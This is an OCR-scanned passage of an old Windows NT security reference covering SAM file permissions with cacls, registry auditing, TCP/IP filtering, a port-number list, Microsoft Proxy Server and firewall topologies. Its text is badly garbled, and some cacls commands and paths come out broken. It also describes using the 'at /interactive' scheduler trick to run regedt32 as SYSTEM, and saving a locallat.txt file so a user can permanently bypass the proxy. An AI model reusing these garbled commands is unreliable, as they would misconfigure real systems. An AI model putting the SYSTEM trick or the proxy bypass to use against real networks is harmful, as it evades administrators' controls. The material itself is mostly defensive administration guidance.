Power Users: Change

1.Fromw thin Explorer, highlight the SAM _file, right click, choose properties, security,
perni ssions. Renove all privilege fromthis file.

2. From a DOS pronpt, execute the foll ow ng;

cacls %systenroot% repair\sam _ /D Everyone

This will deny the group Everyone pernission to the file, ensuring that no other perm ssion (i.e.
i nherited perm ssions froma share) can override the file perm ssion

3. Whenever you need to update your ERD, first execute the following froma DOS pronpt;

cacls %systenroot%repair\sam /T /G Adninistrators: C

This will grant Adm nistrators change perm ssion to update it during the ERD update.

4. Once the ERD has been updated, execute the following froma DOS pronpt;

cacls %systenroot%repair\sam _ /E /R Adm nistrators

This will once again renove the perm ssions for Adm nistrator

How t o enabl e auditing on password registry keys

1.First you have to make sure auditing is enabled. Start User Manager, Policies, Audit, and click
"Audit These Events".

2. By default, Wndows NT does not identify any users or groups to audit on any objects within the
system Auditing can add performance overhead to your system dependi ng on the avail abl e
resources, so care should be taken in determ ning what and whomto audit. For a ful

description of auditing in Wndows NT, | reconmend the Mcrosoft Press book "W ndows NT
3.5 - Quidelines for Security, Audit, and Control", |SBN 1-55615-814-9. Despite its title it is
still the nobst conprehensive coverage of auditing that | have read. For the sake of this

exanmple, we will sinply check every Success and Fail ure checkbox.

3. d ose the dial og.

4. Now for a little known trick. Wile |logged on as Adninistrator, ensure that the Schedul e service
is set to start up as the System account. Once set, start the Schedul e service.

5. Check the tinme, and then open a DOS pronpt. At the DCS pronpt, type in the follow ng; at
22:48 /interactive "regedt32. exe" where 22:48 gets replaced with the current tine plus 1

m nute (or 2 or whatever amount of time you think it will take you to type in the comand).
6. At the designated time, regedt32.exe will fire up and appear on your desktop. This incarnation
of regedt32.exe will be running in the security context of the user SYSTEM As such, you will
be able to see the entire registry, every key within the SAM or Security trees. BE VERY
CAREFUL HERE. It is inportant to note that when running an application as SYSTEM it

does so attenpting to use null session for credentials. Null session support has been

di sabl ed by default in all versions of Wndows NT after 3.1, therefore any attenpt to connect
to non-local resources as this security context will fail. An Administrator could enable nul
session support through the registry, but such a configuration is strongly discouraged.

7.Al1 we want to do is enable auditing on the designated keys, nothing else. To this end, we
hi ghl i ght the HKEY_LOCAL_ MACHI NE wi ndows wi thin regedt32. Next highlight the SAM

tree. Choose the Security nmenu item then Auditing.

8.dick on the Add button and choose Show Users

9.1"mgoing to recormmend that you add the SYSTEM user, the group Domai n Adm ns, and the

user Adm nistrator. You want to cover any account which has the right to;

? "Take ownership of files or other objects"”

? "Back up files and directories"”

? "Manage auditing and security |og"

? "Restore files and directories"”
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? "Add workstations to domain"

? "Repl ace a process |evel token"

10.dick the Audit Perm ssion on Existing Subkeys

11. Next, click in the Success and Failure checkboxes for the followi ng entries; - Query Val ue -
Set Value - Wite DAC - Read Contro

12. Choose OK, and then Yes.

13. Repeat the process for the Security tree.

14. Cl ose REGEDT32, and stop the Schedule service. You will want to set the Schedul e service
to use a userID for startup which you create, rather than SYSTEM in future. Take this
opportunity to create such a user and change the startup for Schedul e.

You wi |l now have applied auditing to the entire SAM ensuring you'll be notified via the Event
Logger of any failed or successful access to your sensitive information by the only accounts
whi ch have the ability to access such information. The issue of what to do when/if you discover
event notifications is beyond the scope of this docunment. Part of a good security policy is an
appropriate audit policy which would dictate how the event | ogs are reviewed, how the infornation
is verified, and what actions should be taken for each possible event.

[6.3.8] TCP/IP Security in NT

Note: This section is not nmeant to teach you the concepts behind the TCP/IP protocol. It is
assunmed that a working knowl edge of TCP/IP can be appli ed.

W ndows NT has a built in TCP/IP security functionality that nost people do not use or

know about. This functionality enables you to control the types of network traffic that can reach
your NT servers. Access can be all owed or deni ed based on specific TCP ports, UDP ports, and

I P protocols. This type of security is nornmally applied to servers connected directly to the

i nternet,

whi ch is not recomended.

Do configure NT's built in TCP/IP security, follow these steps:

- Right click on Network Nei ghborhood and goto the properties option

- Select the Protocols tab, highlight TCP/IP and click on Properties.

- Select the IP address tab of the TCP/IP properties screen

- Check the check box that reads "Enable Security".

- dick on Configure

You shoul d now be | ooking at the TCP/IP Security dial og, which has the follow ng

options:

-Adapter: Specifies which of the installed network adapter cards you are configuring

-TCP Ports

-UDP Ports

-1 P Protocol s

Wthin these settings, you would choose which ports and what access permni ssions you

would like to assign to those ports. The following list is a list of the well known TCP/IP ports.
Thi s

is not an in depth guide, just a quick reference (For nore details, check RFC 1060).

[6.3.9] wWell known TCP/UDP Port nunbers

Service Port Comments

TCP Ports

echo 7/tcp

discard 9/tcp sink nul

systat 11/tcp users

daytinme 13/tcp

netstat 15/tcp

gotd 17/tcp quote

chargen 19/tcp ttytst source

ftp-data 20/tcp

ftp 21/tcp

tel net 23/tcp

smp 25/tcp mail

time 37/tcp tinserver

nane 42/tcp nameserver

whoi s 43/tcp ni chane

naneserver 53/tcp domain

apts 57/tcp any private term nal service

apfs 59/tcp any private file service

gabhwnN -
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rje 77/tcp netrjs

finger 79/tcp

http 80/tcp

link 87/tcp ttylink

supdup 95/tcp

newacct 100/tcp [unauthorized use]
host names 101/t cp host nane

i so-tsap 102/tcp tsap

x400 103/tcp

x400-snd 104/ tcp

csnet-ns 105/tcp CSNET Nane Service
pop-2 109/tcp Post O fice Protocol version 2
pop-3 110/tcp Post O fice Protocol version 3
sunrpc 111/tcp

auth 113/tcp authentication

sftp 115/tcp

uucp-path 117/tcp

nntp 119/tcp usenet readnews untp
ntp 123/tcp network time protoco
statsrv 133/tcp

profile 136/tcp

NeWs 144/tcp news

print-srv 170/tcp

https 443/tcp Secure HTTP

exec 512/tcp renpte process execution
aut henti cati on perforned using
passwords and UN X | oppgi n nanes
login 513/tcp renpte login a |a tel net;
aut omati c authentication perfornmed
based on privil edged port nunbers
and distributed data bases which
identify "authentication donai ns"
cnd 514/tcp |ike exec, but automatic
authentication is perfornmed as for

| ogi n server

printer 515/tcp spool er

efs 520/tcp extended file nanme server
tenpo 526/ tcp newdate

courier 530/tcp rpc

conference 531/tcp chat

net news 532/tcp readnews

uucp 540/tcp uucpd

kl ogin 543/tcp

kshel | 544/tcp krcnd

dsf 555/tcp

renotefs 556/tcp rfs server

chshell 562/tcp chcnd

meter 570/tcp denon

pcserver 600/tcp Sun | PC server

ngs 607/tcp nqgs

mdqs 666/tcp

rfile 750/tcp

punp 751/tcp

grh 752/tcp

rrh 753/tcp

tell 754/tcp send

nl ogin 758/tcp

con 759/tcp

ns 760/tcp

rxe 761/tcp

quot ad 762/tcp
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cycl eserv 763/tcp
onserv 764/tcp

webster 765/tcp
phonebook 767/tcp phone
vid 769/tcp

rtip 771/ tcp
cycleserv2 772/ tcp
submit 773/tcp

rpasswd 774/tcp

entonb 775/tcp

wpages 776/tcp

wpgs 780/tcp

nmdbs 800/t cp

device 801/tcp

maitrd 997/tcp

busboy 998/tcp

garcon 999/tcp

bl ackj ack 1025/tcp network bl ackjack
bbn-nmt 1347/tcp nmulti media conferencing
bbn-mx 1348/tcp multi medi a conferencing
orasrv 1525/tcp oracle
i ngresl ock 1524/tcp

i ssd 1600/tcp

nkd 1650/tcp

dc 2001/tcp

mai | box 2004/tcp

ber knet 2005/tcp

i nvokat or 2006/tcp
dectal k 2007/tcp

conf 2008/tcp

news 2009/tcp

search 2010/ tcp
raid-cc 2011/tcp raid
ttyinfo 2012/tcp

rai d-am 2013/tcp

trof f 2014/tcp

cypress 2015/tcp
cypress-stat 2017/tcp
term nal db 2018/ tcp
whosockam 2019/tcp
servexec 2021/tcp

down 2022/tcp

el | pack 2025/tcp
shadowserver 2027/tcp
submit server 2028/tcp
devi ce2 2030/tcp

bl ackboard 2032/tcp

gl ogger 2033/tcp
scorengr 2034/tcp

i msl doc 2035/tcp

obj ect manager 2038/tcp
| am 2040/ tcp

i nterbase 2041/tcp
isis 2042/tcp

rinmsl 2044/tcp

dl s 2047/tcp

dl s-nonitor 2048/tcp
shilp 2049/tcp

NSWS 3049/t cp

rfa 4672/tcp renote fil e access server
conpl exnmai n 5000/ tcp

file://ID|//WEB/hacker/TheModHackReference.txt (53 of 169) [9/12/2004 8:18:41 PM]



file://ID)/WEB/hacker/TheM odHackReference.txt

conpl exl i nk 5001/tcp

padl 2si m 5236/t cp

man 9535/tcp

UDP Ports

echo 7/ udp

di scard 9/udp sink nul

systat 11/udp users

daytime 13/ udp

netstat 15/ udp

gotd 17/udp quote

chargen 19/ udp ttytst source

time 37/udp tinserver

rip 39/udp resource

nane 42/ udp nameserver

whoi s 43/ udp ni chane

naneserver 53/ udp domain

boot ps 67/ udp bootp

boot pc 68/ udp

tftp 69/ udp

sunrpc 111/ udp

erpc 121/ udp

ntp 123/ udp

statsrv 133/ udp

profile 136/ udp

snnp 161/ udp

snnp-trap 162/ udp

at-rtnmp 201/ udp

at - nbp 202/ udp

at-3 203/ udp

at - echo 204/ udp

at-5 205/ udp

at-zis 206/ udp

at-7 207/ udp

at-8 208/ udp

bi ff 512/ udp used by mail systemto notify users
of new nail received; currently
recei ves messages only from
processes on the sane machi ne

who 513/ udp maintai ns data bases showi ng who's
Il ogged in to machines on a | oca

net and the | oad average of the
machi ne

sysl og 514/ udp

tal k 517/udp like tenex link, but across
machi ne - unfortunately, doesn't
use link protocol (this is actually
just a rendezvous port fromwhich a
tcp connection is established)
ntal k 518/ udp

utine 519/ udp unixtine

router 520/udp local routing process (on site);
uses variant of Xerox NS routing

i nformati on protoco

tinmed 525/ udp tinmeserver

netwal | 533/ udp for energency broadcasts
new rwho 550/ udp new who

rrmoni tor 560/ udp rnonitord

moni t or 561/ udp

met er 571/ udp udenon

el csd 704/ udp errl og copy/server daenon
| oadav 750/ udp
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vid 769/ udp

cadl ock 770/ udp

notify 773/ udp

acmai nt _dbd 774/ udp

acmai nt _trnsd 775/ udp

wpages 776/ udp

puparp 998/ udp

appl i x 999/ udp Applix ac

puprout er 999/ udp

cadl ock 1000/ udp

her mes 1248/ udp

wi zard 2001/ udp curry

gl obe 2002/ udp

encte 2004/ udp CON5 mm conf

oracl e 2005/ udp

raid-cc 2006/ udp raid

rai d-am 2007/ udp

term nal db 2008/ udp

whosockam 2009/ udp

pi pe_server 2010/ udp

servserv 2011/ udp

rai d-ac 2012/ udp

raid-cd 2013/ udp

rai d-sf 2014/ udp

rai d-cs 2015/ udp

boot server 2016/ udp

bootclient 2017/ udp

rell pack 2018/ udp

about 2019/ udp

xi nupagesrver 2020/ udp

xi nuexpnsi onl 2021/ udp

xi nuexpnsi on2 2022/ udp

Xi nuexpnsi on3 2023/ udp

Xi nuexpnsi on4 2024/ udp

Xribs 2025/ udp

scrabbl e 2026/ udp

i sis 2042/ udp

i sis-bcast 2043/ udp

rinmsl 2044/ udp

cdf unc 2045/ udp

sdf unc 2046/ udp

dl s 2047/ udp

shil p 2049/ udp

rmont or _scure 5145/ udp

xdsxdm 6558/ udp

i sode-dua 17007/ udp

[7.0.0] Preface to Mcrosoft Proxy Server

This section was not nmade for people who have been working with Mcrosoft Proxy Server since
its beta (catapult) days. It is nade for individuals who are curious about the product and
security

prof essional s that are curious as to what Mcrosoft Proxy Server has to offer. This section is
al so

being witten for individuals have a general idea of what a Proxy Server does, but wants to know
nore. This section goes into discussion of Proxy Server Features and Architecture, Access
Control, Encryption, and Firewall Strategies (which |I have been getting a |ot of requests for).
The second part of the docunentation goes into Firewall types and strategies, so if that's the
reason you downl oaded the docunentation, go straight to page 8 | believe.

[7.0.1] What is Mcrosoft Proxy Server?

M crosoft Proxy Server is a "firewall" and cache server. It provides additional Internet security
and

can inprove network response issues depending on its configuration. The reason | put the word
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firewall in quotes is because Proxy Server should not be considered as a stand-alone solution to
a firewall need. When you are done reading this docunment, you will have an advanced
under st andi ng of the Proxy Server product and al so understand firewall techniques and

t opol ogi es.

Proxy Server can be used as an inexpensive neans to connect an entire business through only

one valid IP address. It can also be used to allow nore secure i nbound connections to your
internal network fromthe Internet. By using Proxy Server, you are able to better secure your
networ k against intrusion. It can be configured to allow your entire internal private network to
access resources on the Internet, at the sane tinme bl ocking any i nbound access.

Proxy Server can al so be used to enhance the perfornmance of your network by using advanced
caching techni ques. The can be configured to save | ocal copies of requested itens fromthe
Internet. The next time that itemis requested, it can be retrieved fromthe cache w thout having
to

connect to the original source. This can save an enornous anount of tine and network

bandwi dt h.

Unli ke Proxy Server 1.0, Proxy Server 2.0 includes packet filtering and nany ot her features that
we will be discussing.

Proxy Server provides it functionality by using three services:

? Web Proxy: The web proxy service supports HITP, FTP, and Gopher for TCP/IP Cients.

? WnSock Proxy: The W nsock proxy supports Wndows Sockets client applications. It

provi des support for clients running either TCP/IP or IPX/SPX. This allows for networks that

may be running nore of a Novell environnent to still take advantage of Proxy Server.

? SOCKS Proxy: The SOCKS Proxy is a cross-platformservice that allows for secure

communi cation in a client/server capacity. This service supports SOCKS version 4.3a and

al l ows users access to the Internet by means of Proxy Server. SOCKS extends the

functionality provided by the WnSock service to non-Wndows platfornms such as Unix or

Maci nt osh.

[7.0.2] Proxy Servers Security Features

In conjunction with other products, Proxy Server can provide firewall |evel security to prevent
access to your internal network.

? Single Contact Point: A Proxy Server will have two network interfaces. One of these network
interfaces will be connected to the external (or "untrusted") network, the other interface will be
connected to your internal (or "trusted") network. This will better secure your LAN from
potential intruders.

? Protection of internal IP infrastructure: Wen IP forwarding is disabled on the Proxy Server
the only IP address that will be visible to the external environment will be the |IP address of
the Proxy Server. This helps in preventing intruders fromfinding other potential targets on
your networKk.

? Packet Layer Filtering: Proxy Server adds dynam c packet filtering to its list of features. Wth
this feature, you can bl ock or enable reception of certain packet types. This enables you to
have a trenendous anount of control over your network security.

[7.0.3] Beneficial Features of Proxy

? I1S and NT Integration: Proxy Server integrates with Wndows NT and Internet Infornation
Server tighter than any other package available on the narket. Proxy Server actually uses

the sane administrative interface used by Internet Information Server.

? Bandwidth Utilization: Proxy Server allows all clients in your network to share the sanme link to
the external network. In conjunction with Internet Infornmation Server, you can set aside a
certain portion of your bandwi dth for use by your webserver services.

? Cachi ng Mechani sns: Proxy Server supports both active and passive caching. These

concepts will be explained in better detail further into the docunent.

? Support for Web Publishing: Proxy Server uses a process known as reverse proxy to provide
security while sinultaneously allow ng your conpany to publish on the Internet. Using

anot her net hod known as reverse hosting, you can al so support virtual servers through

Pr oxy.

[7.0.4] Hardware and Software Requirenents

M crosoft suggests the follow ng nini nrum hardware requirenents.

? Intel 486 or higher. RI SC support is also avail able.

? 24 MB Ramfor Intel chips 32 MB Ramfor RI SC.

? 10 MB Di skspace needed for installation. 100 MB + .5 MB per client for Cache space.

? 2 Network interfaces (Adapters, Dial-Up, etc)

Foll owi ng i s the suggested nini num software requirenments.
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? Wndows NT server 4.0

? Internet Information Server 2.0

? Service Pack 3

? TCP/IP

It is highly reconmended that it be installed on an NTFS partition. If a NTFS partition is not
used,

not only are you losing NTFS s advanced security features, but also the caching mechani sns of
Proxy Server will not work.

It is also recommended that your two network interfaces be configured prior to installation. On
interface configured to the external network, and one configured for the internal network. (Note:
When configuring your TCP/IP settings, DO NOT configure a default gateway entry for your

internal network interface.)

? Be sure that "Enable I P Forwarding" is not checked in your TCP/IP settings. This could
seriously conprom se your internal security.

[7.0.5] What is the LAT?

This is probably one of the nbst common questions | am asked as a security professional. The
LAT, or Local Address Table, is a series of |IP address pairs that define your internal network.
Each pair defines a range of |P addresses or a single pair.

That LAT is generated upon installation of Proxy Server. It defines the internal |P addresses.
Proxy Server uses the Wndows NT Routing Table to auto-generate the LAT. It is possible that

the when the LAT is auto-generated, that errors in the LATs construction will be found. You
shoul d al ways manual |y conb through the LAT and check for errors. It is not uncomon to find
external |P addresses in the LAT, or entire subnets of your internal |IP addresses will not appear
on the LAT. It is generally a good idea to have all of your internal |IP addresses in the LAT.

? NO EXTERNAL | P ADDRESSES SHOULD APPEAR I N YOUR LAT.

Upon installing the Proxy Server client software, it adds a file named nsplat.txt into the

\ Mspcl nt

directory. The nsplat.txt file contains the LAT. This file is regularly updated fromthe server to
ensure that the LAT the client is using is current.

[7.0.6] What is the LAT used for?

Every tine a client attenpts to use a Wnsock application to establish a connection, the LAT is
referenced to deternine if the |P address the client is attenpting to reach is internal or
external . If

the IP address is internal, Proxy Server is bypassed and the connection is nmade directly. If the
I P

address the client is attenpting to connect to DOES NOT appear in the LAT, it is determ ned that
the | P address is remote and the connection is nmade through Proxy Server. By knowi ng this

i nformati on, someone on your internal network could easily edit his or her LAT table to bypass
Proxy Server.

Sonme Adm nistrators may not see this as a probl em because the LAT is regularly updated from

the server, so any changes the user nmade to his or her LAT will be overwitten. However, if the
user saves their LAT with the filenanme Locallat.txt, the client nachine will reference both the
mepl at.txt and the locallat.txt to determine if an IP address is local or renote. So, by using the
| ocal lat.txt method, a user can, in theory, permanently bypass Proxy Server. The locallat.txt file
is

never overwitten unless the user does so manual ly.

[7.0.7] What changes are nmde when Proxy Server is installed?

Server side changes:

? The Wb Proxy, Wnsock Proxy, and SOCKS Proxy services are installed and managenent

items are added into the Internet Service Manager

? An HTML version of the docunentation is added into the %ystenr oot % hel p\ proxy\

directory.

? A cache area is created on an NTFS vol une.

? The LAT table is constructed.

? Proxy Server Performance Monitor counters are added.

? dient installation and config files are added to the Msp\Clients folder. This folder is shared
as

Mspcl nt and by default has the pernissions set to Read for Everyone.

Client side changes:

? The LAT (nsplat.txt) file is copied to the clients local hard drive.

? AWP Cient icon is added to control panel on Wn3.X, Wn95 and WnNT clients.
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? A Mcrosoft Proxy dient Program Goup is added

? The winsock.dll file is replace with Renote WnSock for Proxy. The old winsock file is

renamed w nsock. dl x.

? Mspclnt.ini file is copied to the client nachine.

[7.0.8] Proxy Server Architecture

To understand the architecture of Mcrosoft Proxy Server, you nust first have a basic grasp of
how Proxy works for outbound client requests. Here is a sinple exanple:

Joe opens his browser to visit his favorite news site on the net. He types in the sites |IP address
whi ch he has nenori zed because his visits often, instead of doing his job. The client conpares
the | P address Joe entered to the LAT table. Because the IP address is not found on the LAT, it is
consi dered external. Since the client has determ ned that the IP address is external, it knows it
must process the request through Proxy Server. The client hands Joe's request to Proxy Server
Proxy Server then checks the | P address against the access control applied by the Administrator.
The Adm nistrator has the ability to stop internal enployees fromvisiting certain sites. Since
Joe's

request is not on the forbidden list applied by the Adm nistrator, Proxy Server executes the
request. Proxy contacts the website and requests the docunent Joe wanted. After Proxy server

has received the information it requested, it stored a copy in its cache for later use and hands
the request to the client nmachine. The website pops-up on Joe's browser.

[7.0.9] Proxy Server Services: An Introduction

? WebProxy: Web Proxy nornmally functions with both clients and servers. As a server, it

receives HITP requests frominternal network clients. As a client, it responds to interna
network clients' requests by issuing their requests to a server on the Internet. The interface
between the client and server conponents of the Wb Proxy service provides chances to add

value to the connections it services. By perform ng advanced security checks, the Web Proxy

does nore than relay requests between an internal client and a server on the Internet. The
WebProxy service is an extensions of Internet Information Server 3.0. It consists of two
foll owi ng conponents: The Proxy Server |SAPI Filter and the Proxy Server |SAPlI Application

The Web Proxy service is inplemented as a DLL (dynamic link library) that uses | SAP

(I'nternet Server Application Programming Interface) and therefore runs within the 11S WA
process. The WMV Service nmust installed and running in order for proxy requests to be

processed.

? WnSock Proxy: WnSock Proxy provides proxy services for wi ndows sockets applications

W nSock Proxy allows w nsock applications to function on a LAN and to operate as if it is
directly connected to the Internet. The client app uses Wndows Sockets APIs to

communi cate with another application running on an Internet conputer. WnSock Proxy

intercepts the wi ndows sockets call and establishes a conmunication path fromthe interna
application to the Internet application through the proxy server. The process is totally
transparent to the client. The WnSock Proxy consists of a service running on Proxy Server

and a DLL installed on each client. The DLL it relies on is the Renmbte Wnsock DLL that

repl aced the nornal w nsock.dll. WnSock Proxy uses a control channel between the client

and the server to nanage the ability of Wndows Sockets nessages to be used remotely. The
control channel is set up when the WnSock Proxy client DLL is first |oaded, and it uses the
connectionl ess UDP protocol. The Wnsock Proxy client and the WnSock Proxy service use

a sinple ack protocol to add reliability to the control channel. The control channel uses UDP
port 1745 on the proxy server and client conputers.

? SOCKS Proxy: Proxy Server supports SOCKS Version 4.3a. Alnost all SOCKS V4.0 client
applications can run renotely through SOCKS Proxy. SOCKS is a protocol that functions as

a proxy. It enables hosts on one side of a SOCKS server to gain full access to hosts on the
other side of a SOCKS server, without requiring direct |IP access. (To |earn nore about

SOCKS, visit http://ww. socks. nec.confindex.htm).

[7.1.0] Understandi ng conmponents

This area will attenpt to better define to the conponents of the architecture that we have used,
but may not have defi ned.

[7.1.1] ISAPI Filter

The I SAPI Filter interface is one of the components of the web proxy service. The interface
provi des an extension that the Web server calls whenever it receives an HITP request.

An | SAPI Filter is called for every request, regardless of the identity of the resource requested
in

the URL. An ISAPI filter can nonitor, log, nodify, redirect and authenticate all requests that are
recei ved by the Wb server. The Wb service can call an | SAPI filter DLL's entry point at various
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times in the processing of a request or response. The Proxy Server |ISAPI filter is contained in
t he

w3proxy.dll file. This filter exam nes each request to determne if the request is a standard HTTP
request or not.

[7.1.2] 1SAPI Application

The | SAPI Application is the second of the two web proxy conponents. |SAPI applications can
create dynami c HTML and integrate the web with other service applications |ike databases.

Unlike I SAPI Filters, an I SAPI Application is invoked for a request only if the request references
that specific application. An | SAPI Application does not initiate a new process for every request.
The | SAPI Application is also contained in the w3proxy.dll file.

[7.1.3] Proxy Servers Caching Mechani sm

M crosoft Proxy Server handles caching in two different ways, Passive and Active caching.

? Passive Caching: Passive caching is the basic nbde of caching. Proxy Server interposes

itself between a client and an internal or external Wb site and then intercepts client

requests. Before forwarding the request on to the Wb server, Proxy Server checks to see if

it can satisfy the request fromits cache. Normally, in passive caching, Proxy Server places a
copy of retrieved objects in the cache and associates a TTL (tinme-to-live) with that object.
During this TTL, all requests for that object are satisfied fromthe cache. Wien the TTL is
expired, the next client request for that object will pronpt Proxy Server to retrieve a fresh
copy fromthe web. If the disk space for the cache is too full to hold new data, Proxy Server
renoves ol der objects fromthe cache using a formula based on age, popularity, and size.

? Active Caching: Active Caching works with passive caching to optinize the client

performance by increasing the likelihood that a popular will be available in cache, and up to
date. Active caching changes the passive caching mechani sm by having the Proxy Server
autonmatically generate requests for a set of objects. The objects that are chosen are based

on popularity, TTL, and Server Load.

[7.1.4] Wndows Sockets

W ndows Sockets is the mechani smfor comuni cati on between applications running on the

same conputer or those running on different conputers which are connected to a LAN or WAN

W ndows Sockets defines a set of standard API's that an application uses to conmunicate with

one or nore other applications, usually across a network. Wndows Sockets supports initiating an
out bound connecti on, accepting i nbound connections, sending and receiving data on those
connections, and term nating a session

W ndows socket is a port of the Berkeley Sockets APl that existed on Unix, with extensions for
integration into the Wnl6 and Wn32 application environments. Wndows Sockets al so includes
support for other transports such as | PX/ SPX and Net BEUI .

W ndows Sockets supports point-to-point connection-oriented conmuni cati ons and poi nt-to-point

or mul tipoint connectionless conmmuni cati ons when using TCP/IP. Wndows Socket

communi cati on channel s are represented by data structures called sockets. A socket is identified
by an address and a port, for exanple;

131.107. 2. 200: 80

[7.1.5] Access Control Using Proxy Server

[7.1.6] Controlling Access by Internet Service

Proxy Server can be configured to provide or restrict access based on Service type. FTP, HITP,
Gopher, and Secure (SSL) are all individually configurable.

[7.1.7] Controlling Access by I P, Subnet, or Domain

Proxy allows an adm nistrator to control access based on | P Address, Subnet or Dommin. This is
done by enabling filtering and specifying the appropriate paranmeters. Wen configuring this
security, you need to decide if you want to grant or deny access to an | P address, subnet, or
domain. By configuring Proxy Server correctly, you can also set it up to use the internet as your
cor porate WAN.

[7.1.8] Controlling Access by Port

If you are using the WnSock Proxy service, you can control access to the internet by specifying
whi ch port is used by TCP and UDP. You can al so grant or deny, activate or disable certain ports
based on your needs.

[7.1.9] Controlling Access by Packet Type

Proxy Server can control access of external packets into the internal network by enabling packet
filtering on the external interface. Packet filtering intercepts and eval uates packets fromthe
Internet before they reach the proxy server. You can configure packet filtering to accept or deny
speci fic packet types, datagrans, or packet fragnents that can pass through Proxy Server. In
addi ti on, you can bl ock packets originating froma specific Internet host.
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The packet filtering provided by Proxy Server is available in two forns, Dynami c and Static.
Dynamni ¢ packet filtering allows for designed ports to automatically open for transm ssion
receive,

or both. Ports are then closed i nmedi ately after connection has been termn nated, thereby

m ni m zing the nunber of open ports and the duration of time that a port is open

Static packet filtering allows manual configuration of which packets are and are not all owed.
By default, the followi ng Packet settings are enabled on Proxy Server (by default, ALL packet
types are bl ocked except the ones listed bel ow, known as Exceptions):

I nbound | CVP ECHO ( Pi nQ)

I nbound | CVP RESPONSE ( Pi ng)

I nbound | CVP SOURCE QUENCH

I nbound | CVP TI MEQUT

I nbound | CMP UNREACHABLE

Qut bound | CMP ANY

I nbound TCP HTTP

I n/ Qut bound UDP ANY (dns)

[7.2.0] Logging and Event Alerts

Events that could affect your systemnmay be nonitored, and, if they occur, alerts can be
generated. The itens |isted bel ow are events that will generate alerts:

Rej ect ed Packets: Watches external adapter for dropped |IP packets.

Protocol Violations: Watches for packets that do not follow the all owed protocol structure.

Di sk Full: Watches for failures caused by a full disk

When any of the events above occur, an alert is sent to the systemlog in the NT Event Viewer, or
can be configured to e-nail a pre-defined person

When the system |l ogs informati on concerning Access Control, it does so to alog file stored in the
%syst enr oot % syst enB2/ nmspl ogs/ directory. The log file itself is named Pfyymmdd. | og (Were
yy=Current year / mm= Current Month / dd= Current day).

The Packet 1og records infornmation related to the foll ow ng areas:

Service Information (Tinme of Service, Date and Ti ne)

Renmote I nformati on (The Source | P Address of a possible Intruder, along with port and protoco
used)

Local Information (Destination |P Address and port)

Filter Information (Action taken and what interface (network adapter) issued the action)

Packet Information (Raw | P Header in Hex and Raw | P Packet in Hex)

[7.2.1] Encryption |Issues

Proxy Server can take full advantage of the authentication and security features of |nternet

I nformati on Server and SSL tunneling.

SSL supports data encryption and server authentication. Al data sent to and fromthe client using
SSL is encrypted. If HITP basic authentication is used in conjunction with SSL, the user nane
and password are transmitted after the client's SSL support encrypts them

If your are wanting to take advantage of PPTP to provide additional flexibility and security for
your clients, you can configure Proxy Server to allow these packets (GRE) to pass through
[7.2.2] OQther Benefits of Proxy Server

[7.2.3] RAS

Proxy Server can take full advantage of Wndows NT Renpte Access Service (RAS). Proxy can

be configured to dial on denmand when an internal client makes a request that nust be satisfied
fromthe external network. The RAS feature can be configured to only allow connectivity during
certain hours. The Dial-Up Network Scripting tool can aslo be used to autonate certain process
usi ng Proxy Server and RAS. For conpany's who have a standard constant connection (| SDN

T1, T3) to the Internet, the RAS ability provided by Proxy Server can be used as a back-up
shoul d your constant connection fail

[7.2.4] | PX/ SPX

M crosoft Proxy Server was devel oped with support for Internet Packet Exchange/ Sequenced
Packet Exchange or I PX/SPX. IPX/SPX is a transport protocol group sonmewhat sinilar to TCP/IP.
There are many situations when a client conputer nmay have both | PX/ SPX and TCP/ | P protocols
installed although the conpany's internal network may only use I PX/ SPX Sinply disabling
aTCP/ I P while on the LAN will not get the |IPX/ SPX conmponent of the Proxy client software
working. You will need to go into Control Panel, open the Wp Cient icon and check the box that
reads "Force | PX/ SPX protocol". This nust be done because even though the TCP/IP protoco

was di sabl ed, the WnSock Proxy Client still detects its presence and will attenpt to create a
standard | P socket. By enabling the "Force | PX/ SPX Protocol" option, this problemshould
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di sappear.
[7.2.5] Firewall Strategies
Afirewall is a systemthat enforces access control policies. The enforcenent is done between an

internal, or "trusted" network and an external, or "untrusted" network. The firewall can be as
advanced as your standards require. Firewalls are commonly used to shield internal networks
from unaut hori zed access via the Internet or other external network.

[7.2.6] Logical Construction

The single basic function of a firewall is to block unauthorized traffic between a trusted system
and an untrusted system This process is normally referred to as Filtering. Filtering can be

vi ened

as either pernmtting or denying traffic access to a network.

Firewal | s know what traffic to bl ock because they are configured with the proper information. This
information is known as an Access Control Policy. The proper approach to an access contro

policy will depend on the goals of the network security policy and the network adm ni strator
[7.2.7] Exploring Firewall Types

In the origins of firewalls, there were two types. These two types have now grown and overl apped
each other to the point where distinctionis hard. We will explore the differences between these
two types and discuss Firewall building topol ogies.

Net work Level Firewalls

Network level firewalls operate at the I P packet level. Mst of these have a network interface to
the trusted network and an interface to the untrusted network. They filter by exam ning and
conparing packets to their access control policies or ACL's.

Network level firewalls filter traffic based on any conbination of Source and Destination |P, TCP
Port assignnent and Packet Type. Network Level firewalls are normally specialized IP routers.
They are fast and efficient and are transparent to network operations. Todays network | evel
firewall s have becorme nore and nore conpl ex. They can hold internal information about the
packets passing through them including the contents of some of the data. We will be discussing
the follow ng types of network level firewalls:

? Bastion Host

? Screened Host

? Screened Subnet

Basti on Host Firewal

Basti on host are probably one of the nost conmon types of firewalls. The term bastion refers to
the old castle structures used in Europe, nainly for draw bridges.

The Bastion host is a conputer with at east one interface to the trusted network and one to the
untrusted network. Wen access is granted to a host fromthe untrusted network by the bastion
host, all traffic fromthat host is allowed to pass unbothered.

In a physical |ayout, bastion hosts normally stand directly between the inside and outside
networks, with no other intervention. They are normally used as part of a larger nore
sophisticated firewall.

The di sadvantages to a bastion host are:

? After an Intruder has gained access, he has direct access to the entire network.

? Protection is not advanced enough for nobst network applications.

Screened Host Firewal

A nore sophisticated network |evel firewall is the screened host firewall. This firewall uses a
router with at |east on connection to trusted network and one connection to a bastion host. The
router serves as a prelimnary screen for the bastion host. The screening router sends all IP
traffic

to the bastion host after it filters the packets. The router is set up with filter rules. These
rul es

dictate which | P addresses are allowed to connect, and which ones are denied access. Al other
packet scrutiny is done by the bastion host. The router decreases the anount of traffic sent to
t he

bastion host and sinplifies the bastions filtering algorithns.

The physical layout of a Screened Host is a router with one connection to the outside network,
and the other connection with a bastion host. The bastion host has one connection with the router
and one connection with the inside network.

Di sadvant ages to the Screened Host are:

? The single screen host can becone a traffic bottleneck

? If the host system goes down, the entire gateway is down.

Screened Subnet Firewalls
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A screened subnet uses on or nore addition routers and on nore additional bastion hosts. In a
screened subnet, access to and fromthe inside network is secured by using a group of screened
basti on host conputers. Each of the bastion hosts acts as a drawbridge to the network.

